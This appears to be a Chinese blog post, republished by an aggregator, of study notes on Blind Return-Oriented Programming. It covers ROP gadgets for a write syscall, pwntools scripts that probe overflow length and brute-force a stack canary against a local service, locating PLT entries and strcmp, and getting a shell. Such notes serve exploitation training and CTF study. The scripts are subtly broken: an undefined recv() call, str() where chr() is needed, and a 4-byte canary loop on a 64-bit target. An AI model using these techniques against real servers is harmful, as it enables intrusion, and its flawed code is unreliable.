BROP_轮子
Posted 0xhack
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BROP_轮子相关的知识,希望对你有一定的参考价值。
执行Write()函数
pop rdi; ret # socket ##find from __libc_csu_init
pop rsi; ret # buffer ##find from __libc_csu_init
pop rdx; ret # length ##find from strcmp()!!!!
pop rax; ret # write syscall number
syscall
但通常来说,这样的方法都是比较困难的,因为想要找到一个 syscall 的地址基本不可能。。。我们可以通过转换为找 write 的方式来获取。
判断栈溢出长度
def leakbuff_length(): i=1 while 1: try: p=remote(‘0.0.0.0‘,9999) p.recvuntil(‘password?\\n‘) p.sendline(‘A‘*i) msg=p.recv() p.close() if ‘password‘ in msg: i = i+1 continue except EOFError: p.close() print i-1 break
单字节爆破Canary
def boomcanary(): step=1 buf=‘A‘*72 canary_sing=0x00 while 1: try: p=remote(‘0.0.0.0‘,9999) p.recvuntil(‘password?\\n‘) p.sendline(buf+chr(canary_sing)) msg=recv() p.close() if step == 4: break else: buf=buf+str(canary_sing) canary_sing=0x00 step=step+1 except EOFError: p.close() canary_sing=canary_sing+1
BROP gadgets
寻找libc_csu_init的结尾一长串的 gadgets
寻找 PLT
每一个 plt 表项都是 16 字节,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。
如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表。除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头。
注::::找CMP函数方法:1.plt遍历 2.利用 plt 表项的慢路径,并且利用下一个表项的慢路径的地址来覆盖返回地址。!!!
控制RDX
注:在没有 PIE 保护的时候,64 位程序的 ELF 文件的 0x400000 处有 7 个非零字节。
- readable,可读的地址。
- bad, 非法地址,不可访问,比如说 0x0。
那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况
- strcmp(bad,bad)
- strcmp(bad,readable)
- strcmp(readable,bad)
- strcmp(readable,readable)
只有最后一种格式,程序才会正常执行。
寻找输出函数:write/puts
Finaly-to get sh
- 将 socket 输出重定向到输入输出
- 寻找 “/bin/sh” 的地址。一般来说,最好是找到一块可写的内存,利用 write 函数将这个字符串写到相应的地址。
- 执行 execve 获取 shell,获取 execve 不一定在 plt 表中,此时攻击者就需要想办法执行系统调用了。
以上是关于BROP_轮子的主要内容,如果未能解决你的问题,请参考以下文章